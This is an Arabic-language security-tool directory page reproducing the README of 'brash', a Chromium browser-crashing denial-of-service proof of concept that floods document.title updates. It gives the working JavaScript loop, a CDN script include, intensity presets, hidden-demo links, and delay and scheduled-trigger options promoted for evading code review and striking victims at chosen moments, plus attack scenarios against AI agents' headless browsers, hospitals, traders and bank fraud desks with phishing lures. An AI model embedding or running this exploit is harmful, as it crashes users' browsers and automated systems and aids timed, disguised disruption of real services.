Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
brash — هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال خاصية document.title | Kitploit
أدوات/GitHubGitHub/jofpin/brash
أطر الاستغلالتحليل الثغرات الأمنيةاستغلال تطبيقات الويباختبار الاختراق
GitHubjofpin/brash

brash

هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال خاصية document.title

عرض المستودع
1806منذ 9 أشهرتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
الموقع الإلكتروني

براش

براش من خوسيه بينو

هجوم حجب الخدمة (DoS) على متصفح كروميوم عبر استغلال document.title

براش هو ثغرة أمنية حرجة في Blink، محرك العرض الذي يشغّل متصفحات كروميوم من جوجل. فهو يسمح لأي متصفح كروميوم بالانهيار خلال 15-60 ثانية عبر استغلال خلل معماري في طريقة إدارة عمليات DOM معيّنة.

ناقل الهجوم ينبع من الغياب التام لتقييد المعدل (rate limiting) على تحديثات واجهة برمجة التطبيقات document.title. وهذا يسمح بحقن ملايين الطفرات في DOM كل ثانية، وأثناء محاولة الحقن هذه، يتم إشباع الخيط الرئيسي (main thread)، مما يعطّل حلقة الأحداث (event loop) ويسبب انهيار الواجهة. التأثير كبير، فهو يستهلك موارد معالجة عالية، ويُضعف الأداء العام للنظام، ويمكن أن يوقف أو يبطئ العمليات الأخرى التي تعمل في الوقت نفسه. ومن خلال تأثيره على متصفحات كروميوم على أجهزة سطح المكتب وأندرويد والبيئات المدمجة، تعرّض هذه الثغرة أكثر من 3 مليارات شخص على الإنترنت لحجب خدمة على مستوى النظام.

الحالة: قيد التشغيل
الإصدارات المتأثرة: Chromium ≤ 143.0.7483.0 (تم الاختبار على: 138.0.7204.251, 141.0.7390.108, 143.0.7483.0)

[!NOTE] الاستغلال يعمل حاليًا. بمجرد تصحيح الثغرة، سيتوقف هذا الكود عن العمل. ومع ذلك، فإن اكتشاف هذا الخلل المعماري وإكمال عملية البحث والتوثيق والتصميم بأكملها لمشاركة شيء مؤثر مع العالم كانت رحلة مجزية بشكل لا يصدق.

الاختبار

تم اختبار 11 متصفحًا رئيسيًا على macOS وWindows وLinux للتحقق من تأثير الثغرة.

المتأثرة (Chromium/Blink)

جميع المتصفحات المبنية على كروميوم معرضة للثغرة لأن الخلل موجود في جوهر محرك العرض Blink:

  • Chrome — ينهار خلال 15-30 ثانية
  • Edge — ينهار خلال 15-25 ثانية
  • Vivaldi — ينهار خلال 15-30 ثانية
  • Arc Browser — ينهار خلال 15-30 ثانية
  • Dia Browser — ينهار خلال 15-30 ثانية
  • Opera — ينهار خلال ~60 ثانية
  • Perplexity Comet — ينهار خلال 15-35 ثانية
  • ChatGPT Atlas — ينهار خلال 15-60 ثانية
  • Brave — ينهار خلال 30-125 ثانية

غير المتأثرة (تستخدم محركات أخرى)

  • Firefox (محرك Gecko) — محصّن ضد الهجوم
  • Safari (محرك WebKit) — محصّن ضد الهجوم
  • متصفحات iOS (كلها تستخدم WebKit) — محصّنة ضد الهجوم بسبب سياسة Apple الإلزامية التي تتطلب أن تستخدم جميع متصفحات iOS محرك WebKit كمحرك عرض لها، مما يجعل المتصفحات المبنية على كروميوم مستحيلة على iOS

كيف يعمل

براش يستغل خللًا معماريًا أساسيًا في محرك العرض Blink: غياب الخنق (throttling) لتحديثات document.title. يعمل الهجوم عبر ثلاث مراحل حاسمة:

1. توليد التجزئة (التحضير)

يولّد 100 سلسلة سداسية عشرية فريدة مكونة من 512 حرفًا ويخزّنها في الذاكرة قبل بدء الهجوم.

لماذا تحميلها مسبقًا بدلًا من توليدها في الوقت الفعلي؟

لأن التوليد المستمر لسلاسل جديدة يستهلك وقت المعالجة في العمليات الحسابية. وهذا الوقت حاسم — كل ميلي ثانية تُقضى في توليد السلاسل هي وقت لا يُستخدم في قصف المتصفح بتحديثات document.title.

من خلال وجود 100 سلسلة محمّلة مسبقًا في الذاكرة:

  • هجوم أسرع: لا توقفات لتوليد السلاسل
  • معالجة مركّزة: 100% من الموارد مخصصة لإشباع المتصفح
  • توقفات نظام أقل: يمنع جامع القمامة (garbage collector) من التنشيط المستمر
  • تجنب الاكتشاف: السلاسل المئة المختلفة تمنع المتصفح من تخزين التحديثات مؤقتًا أو تحسينها

ونتيجة لذلك، نحقق أقصى سرعة حقن مع أقصى استهلاك للذاكرة لكل تحديث.

root@kitploit:~
// Generates high-entropy unique IDs
gid: function() {
    let id = "";
    for (let i = 0x0; i < 0x200; i++) {
        id += ((Math.random() * 0x10) | 0x0).toString(0x10);
    }
    return id;
}

2. الحقن الانفجاري (الهجوم)

ينفّذ دفعات قابلة للتهيئة من تحديثات العنوان. مع الإعداد الافتراضي (burst: 8000, interval: 1ms)، يحاول حقن حوالي 24 مليون تحديث في الثانية، وخلال هذه المحاولة يبدأ انهيار المتصفح.

root@kitploit:~
// Triple-update pattern: maximizes rendering pipeline thrashing
inject: function() {
    const t = this.titles[Math.random() * this.titles.length | 0x0];
    for (let i = 0x0; i < 0x3; i++) {
        document.title = t + i;  // Each burst performs 3 sequential updates
    }
    this.counter += 0x3;
}

3. إشباع خيط الواجهة (الانهيار)

التحديثات المستمرة تُشبع الخيط الرئيسي للمتصفح، مما يمنع معالجة الأحداث الأخرى:

الخط الزمني للانهيار:

  • 0-5ث: إشباع أولي لخيط الواجهة، استهلاك شديد للمعالجة
  • 5-10ث: تبويب مجمّد تمامًا، يستحيل إغلاقه
  • 10-15ث: انهيار المتصفح أو نافذة "الصفحة لا تستجيب"
  • 15-60ث: يلزم إنهاء إجباري (للمتصفحات المبنية على كروميوم)

لماذا ينجح هذا؟

يعالج Blink كل تغيير في document.title بشكل متزامن على الخيط الرئيسي دون تقييد معدل. وهذا يخلق عنق زجاجة (bottleneck) يعمل على:

  • حجب حلقة الأحداث
  • منع معالجة مدخلات المستخدم
  • إشباع الذاكرة بسلاسل طويلة
  • تعطيل المُجمّع (compositor) وخط أنابيب العرض
  • التسبب في ارتجاج عملية المتصفح (thrashing)

العرض التجريبي وإثبات المفهوم

لفهم تأثير براش بالكامل، يمكنك تجربة الاستغلال في سياقات مختلفة، من عرض حي مُتحكم به إلى تنفيذك الخاص. كل خيار مصمم لمستويات مختلفة من التفاعل والفهم التقني.

1. العرض الحي

أسرع طريقة لرؤية براش أثناء العمل. زر https://brash.run

لرؤية الاستغلال دون واجهة رسومية، زر https://brash.run/hidden-live-demo.html. هذا الإصدار ينفّذ الحقن بشكل غير مرئي، محاكيًا هجومًا حقيقيًا.

2. العرض المحلي

إذا كنت تفضل تشغيل العرض في بيئتك الخاصة، فإن مجلد exploit-demo/ المضمّن في المستودع يتيح لك:

  • عناصر تحكم لضبط شدة الهجوم في الوقت الفعلي
  • عدّاد مرئي للتحديثات في الثانية
  • ثلاثة أوضاع محددة مسبقًا: معتدل، وعدواني، ومتطرف
  • مراقبة الانهيار التدريجي للمتصفح

ببساطة افتح exploit-demo/index.html في أي متصفح كروميوم واضبط قيمتي burst وinterval قبل البدء.

  • burstSize: تغييرات العنوان لكل فاصل زمني (أعلى = أكثر عدوانية)
  • interval: ميلي ثانية بين الدفعات (أقل = أكثر عدوانية)

3. نفّذ إثبات المفهوم الخاص بك

لدمج براش في اختبارات الأمان أو أبحاثك الخاصة، قم بتضمين السكربت واضبط الهجوم:

تضمين السكربت:

root@kitploit:~
<!-- Local -->
<script src="brash.js"></script>

<!-- CDN -->
<script src="https://cdn.jsdelivr.net/gh/jofpin/brash/brash.js"></script>

استخدام واجهة برمجة التطبيقات (API):

root@kitploit:~
// 1. Immediate attack
Brash.run({
    burstSize: 8000,
    interval: 1
});

// 2. Delay in seconds (default)
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: 30  // 30 seconds
});

// 3. Delay with strings
Brash.run({
    burstSize: 8000,
    interval: 1,
    delay: "30s"  // or "5000ms" or "3m"
});

// 4. Scheduled attack
Brash.run({
    burstSize: 8000,
    interval: 1,
    scheduled: "2025-10-18T09:30:00"
});

إعدادات الشدة:

root@kitploit:~
// Moderate: controlled observation
// Effect: Browser responds slowly and allows observing gradual degradation
Brash.run({ 
    burstSize: 200,
    interval: 1000 // ~600 updates/sec
});

// Aggressive: rapid saturation
// Effect: Tabs freeze in 10-20 seconds
Brash.run({ 
    burstSize: 2000, 
    interval: 100 // ~60,000 updates/sec
});

// Extreme: instant collapse
// Effect: Immediate freeze, total crash in 15-30 seconds
Brash.run({ 
    burstSize: 8000,
    interval: 1 // Attempts ~24M updates/sec (browser collapses during the attempt)
});

ملاحظة: كل دفعة تنفّذ 3 تحديثات متتالية لـ document.title. على سبيل المثال، burstSize: 400 = 1,200 تحديث فعلي في كل فاصل زمني.

سيناريوهات الهجوم

يمكن تسليح براش في سياقات حرجة متعددة بعواقب تتراوح بين خسائر اقتصادية وخطر على حياة البشر.

الهجمات المؤجلة زمنيًا: التوقيت الاستراتيجي

ميزة حرجة تضخّم خطر براش هي قدرته على البرمجة للتنفيذ في لحظات محددة. يمكن للمهاجم حقن الكود مع مشغّل زمني، فيبقى خاملًا حتى وقت محدد مسبقًا بدقة.

التنفيذ التقني:

root@kitploit:~
// Delay in seconds (default)
Brash.run({ burstSize: 8000, interval: 1, delay: 30 });

// Delay with strings (ms, s, m)
Brash.run({ burstSize: 8000, interval: 1, delay: "30s" });
Brash.run({ burstSize: 8000, interval: 1, delay: "5000ms" });

// Scheduled: executes at exact moment
Brash.run({ burstSize: 8000, interval: 1, scheduled: "2025-10-18T09:30:00" });

المعلمات:

  • burstSize: التحديثات في كل دورة
  • interval: ميلي ثانية بين الدورات
  • delay: رقم (بالثواني) أو سلسلة ("30s", "5000ms", "3m")
  • scheduled: سلسلة ISO أو كائن Date

لماذا تُعد معلمة delay قاتلة بشكل خاص:

  1. لا تتطلب معرفة موعد فتح الرابط: تنتظر ببساطة X ثانية من لحظة فتح الضحية للصفحة.

  2. وقت لبناء الثقة: خلال دقائق الانتظار، يتفاعل الضحية مع محتوى يبدو شرعيًا (نماذج، مستندات، فيديوهات).

  3. تتفادى الفحص الأولي: إذا راجع شخص الكود بسرعة، يبدو غير نشط. لا يُنفَّذ الهجوم إلا لاحقًا.

  4. توقيت نفسي مثالي: تنتظر حتى ينغمس الضحية بعمق في المهمة (وسط الامتحان، وسط الاجتماع، أثناء إجراء حرج).

سيناريو نموذجي مع delay:

root@kitploit:~
00:00 - Victim opens link "Q4 Documents.pdf"
00:30 - Victim reviews documents, appears legitimate
02:00 - Victim shares screen in meeting with 50 people
03:00 - ATTACK EXECUTES - all browsers collapse

لماذا تُعد معلمة scheduled مدمرة أيضًا:

  1. مزامنة جراحية: يختار المهاجم اللحظة الدقيقة لأقصى تأثير (افتتاح السوق، وقت ذروة العمليات).

  2. هجمات منسقة عالميًا: يمكن ضرب أهداف متعددة في الوقت نفسه خلال الثانية ذاتها.

  3. تتفادى الاكتشاف المسبق: يمكن أن يكون الكود الخبيث حاضرًا لأيام أو أسابيع مسبقًا دون تنفيذ، متجاوزًا مراجعات الأمان.

  4. يستحيل إيقافه: بحلول وقت تنفيذ الهجوم، يكون قد فات الأوان لمنعه.

أمثلة على التوقيت الاستراتيجي:

  • 09:30 صباحًا بتوقيت EST — افتتاح وول ستريت (أقصى تقلب تداول)
  • 03:00 صباحًا — تغيير نوبة المستشفى (حد أدنى من الموظفين، أقصى قابلية للاستهداف)
  • 12:00 ظهرًا — ذروة الحركة الجوية (أقصى عدد من الرحلات المتزامنة)
  • الجمعة السوداء 00:00 — بدء المبيعات عبر الإنترنت (أقصى حركة تجارة إلكترونية)
  • خلال الأحداث المباشرة — المناظرات الرئاسية، السوبر بول، الأحداث الرياضية الكبرى

هذه القدرة على التوقيت الحركي تحوّل براش من أداة تعطيل إلى سلاح دقة زمنية، حيث يتحكم المهاجم ليس فقط في "ماذا" و"أين"، بل أيضًا في "متى" بدقة تصل إلى الميلي ثانية.


تسميم وكلاء الذكاء الاصطناعي: الأنظمة الآلية

السيناريو: أنظمة المؤسسات التي تعتمد على وكلاء الذكاء الاصطناعي في تجريف الويب، وتحليل السوق، ومراقبة المنافسين، أو أتمتة دعم العملاء، تستخدم متصفحات بلا واجهة رسومية (Chromium/Puppeteer) للاستعلام عن آلاف المواقع يوميًا. يقوم المهاجم بحقن براش في المواقع الشائعة التي يستعلم عنها هؤلاء الوكلاء.

خلال العمليات الآلية الحرجة:

  • وكيل ذكاء اصطناعي يستعلم عن موقع أخبار مالية مخترق لإجراء تحليل للسوق
  • براش ينفّذ بصمت في متصفح الوكيل بلا واجهة رسومية
  • تنهار عملية المتصفح، مما يوقف خط أنابيب التحليل بالكامل
  • أنظمة المصب التي تنتظر بيانات الوكيل تدخل في حالة انتهاء مهلة (timeout)
  • تُحجب قرارات التداول/التسعير الآلية
  • يكتشف نظام المراقبة أعطالًا هائلة في وكلاء متعددين في الوقت نفسه
  • يلزم تدخل يدوي لإعادة تشغيل البنية التحتية الكاملة للوكلاء

نواقل هجوم مضخّمة:

  • مساعدو أبحاث الذكاء الاصطناعي: وكلاء يبحثون ويعالجون معلومات الويب لصالح الشركات
  • روبوتات مراقبة الأسعار: أنظمة التجارة الإلكترونية التي تتعقب أسعار المنافسين
  • أدوات تحليل SEO: خدمات تزحف على ملايين الصفحات للتحليل
  • دعم العملاء المدعوم بالذكاء الاصطناعي: روبوتات محادثة تستعلم عن توثيق الويب في الوقت الفعلي
  • المسح الآلي للامتثال: أنظمة رقابية تراقب المواقع

التأثير الحقيقي: شلل العمليات الآلية الحرجة، وخسائر اقتصادية من قرارات لم تُتخذ، وتدهور هائل في الخدمات المعتمدة على الذكاء الاصطناعي، وتكاليف استعادة البنية التحتية، وكشف الاعتماد الحرج على الوكلاء الآليين.

تعطيل الإجراءات الجراحية: تهديد للحياة

السيناريو: جراح قلب وأوعية دموية يجري عملية مجازة شريانية (coronary bypass) بمساعدة نظام ملاحة جراحي قائم على الويب (شائع بشكل متزايد في الجراحات طفيفة التوغل). يوفّر النظام صورًا في الوقت الفعلي، ومؤشرات حيوية للمريض، وإرشادات للأدوات الروبوتية.

أثناء المرحلة الأكثر حرجًا في العملية، يظهر إشعار في المتصفح: "تنبيه: تحديث حرج لنظام الجراحة - طبّق الآن أو قد تفشل العملية."

عند النقر في حالة ذعر:

  • ينهار المتصفح فورًا مع نظام الملاحة الجراحي
  • يفقد الجراح رؤية الصور الإرشادية لمدة 3-5 دقائق
  • تختفي المؤشرات الحيوية في الوقت الفعلي من الشاشات
  • يجب على الفريق الطبي الارتجال أثناء إعادة تشغيل النظام
  • المريض في خطر حرج خلال نافذة الانهيار

التأثير الحقيقي: خطر مباشر على حياة المريض، وإمكانية ضرر دائم، وصدمة نفسية للفريق الطبي، ودعاوى قضائية بملايين الدولارات بسبب الإهمال التقني.

الانهيار المفاجئ في البورصة

السيناريو: أثناء افتتاح سوق وول ستريت، تحقن جهة خبيثة براش في قنوات متعددة في الوقت نفسه: واجهة ويب بلومبرج تيرمينال، ودردشة المتداولين المؤسسيين، والمنتديات المتخصصة. يعدّ الرابط بـ"تسريب: محضر اجتماع طارئ للاحتياطي الفيدرالي - تأكيد خفض أسعار الفائدة."

في أول 30 ثانية من التداول (أقصى سيولة):

  • أكثر من 200 متداول مؤسسي ينقرون في الوقت نفسه
  • تنهار محطاتهم الطرفية على الويب في اللحظة التي يضعون فيها طلبات بملايين الدولارات
  • تكتشف خوارزميات التداول الآلي الانخفاض المفاجئ في النشاط باعتباره "انهيارًا"
  • تُطلق عمليات بيع جماعية تلقائية ضخمة
  • ينخفض السوق بنسبة 5-7% خلال 90 ثانية قبل تفعيل قواطع الدائرة
  • ملايين من مستثمري التجزئة يخسرون مدخراتهم

التأثير الحقيقي: خسائر تريليونات الدولارات في القيمة السوقية، وذعر مالي عالمي، وتحقيقات من هيئة الأوراق المالية (SEC)، وأزمة ثقة محتملة في الأسواق.

النظام المصرفي: منع الاحتيال في الوقت الفعلي

السيناريو: محللو الاحتيال في أحد البنوك يعالجون تنبيهات المعاملات المشبوهة في الوقت الفعلي عبر لوحة تحكم ويب. خلال الجمعة السوداء (ذروة المعاملات)، يتلقون براش عبر البريد الإلكتروني للشركة: "تم اكتشاف نمط احتيال جديد - مطلوب تحليل عاجل."

في لحظة أعلى حجم معاملات:

  • أكثر من 20 محللًا يفتحون الرابط في الوقت نفسه
  • تنهار لوحات تحكم كشف الاحتيال
  • تبقى معاملات 15-20 دقيقة دون مراجعة
  • يستغل المهاجمون النافذة لمعالجة آلاف المعاملات المسروقة
  • تمر عمليات احتيال بقيمة 2-5 ملايين دولار دون اكتشاف
  • الأنظمة الآلية مكوّنة للسماح بالمعاملات إذا لم يستجب المحللون

التأثير الحقيقي: خسائر مباشرة بملايين الدولارات، وآلاف العملاء برسوم احتيالية، وضرر هائل للسمعة، وغرامات تنظيمية لفشل أنظمة الوقاية.


هذه السيناريوهات ليست نظرية. بساطة براش تجعله تهديدًا حقيقيًا لأي عملية تعتمد على متصفحات الويب، وهو ما يعني في عام 2025 كل شيء تقريبًا.

ملاحظات ختامية

إن إنشاء براش هو جهد لإظهار ما يحدث عندما تكون الحمايات الأساسية غائبة في تقنيات الويب التي نستخدمها يوميًا. الثغرة لا تكمن في كود معقد أو تقنيات متقدمة، بل في الافتقار الأساسي لتقييد المعدل على واجهة برمجة تطبيقات كان ينبغي أن تكون مخنوقة (throttled) بالتصميم.

يُظهر تأثير براش على أكثر من 3 مليارات مستخدم لمتصفح كروميوم أن الخلل المعماري في المكونات الأساسية مثل Blink له عواقب هائلة وعالمية. هذه ليست خللًا معزولًا — إنها عيب تصميم يؤثر على نظام كروميوم البيئي بأكمله.

غالبًا، تختبئ أخطر الأشياء في المكان الأقل توقعًا والأكثر تجاهلًا. - Jose Pino

إخلاء المسؤولية

إثبات المفهوم (PoC) هذا مخصص لأغراض تعليمية وبحوث أمنية فقط للمساعدة في جعل الإنترنت مكانًا أكثر أمانًا. يجب تنفيذه حصريًا في بيئات مُتحكم بها، ويجب ألا يُستخدم على أنظمة الإنتاج أو المواقع العامة أو الأجهزة التي تحتوي على بيانات مهمة.

يمكن أن يؤدي إساءة استخدام هذا الاستغلال إلى انهيار المتصفح وفقدان البيانات وعدم استقرار النظام. المؤلف غير مسؤول عن أي أضرار أو فقدان بيانات أو عواقب قانونية ناشئة عن استخدام أو إساءة استخدام إثبات المفهوم هذا. باستخدامك براش، فإنك تقر بفهمك لهذه المخاطر وتوافق على استخدامه فقط في أبحاث أمنية مشروعة في بيئات معزولة.

من المتوقع أن يلتزم المستخدمون بجميع القوانين واللوائح المعمول بها. الاستخدام غير المصرح به لهذا الاستغلال ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يعد غير قانوني وغير أخلاقي.

الترخيص

محتوى هذا المشروع نفسه مرخّص بموجب رخصة المشاع الإبداعي الإسناد 3.0، والكود المصدري الأساسي المستخدم لتنسيق وعرض ذلك المحتوى مرخّص بموجب رخصة MIT.

حقوق النشر (c) 2025 بواسطة Jose Pino

تنزيل الأداة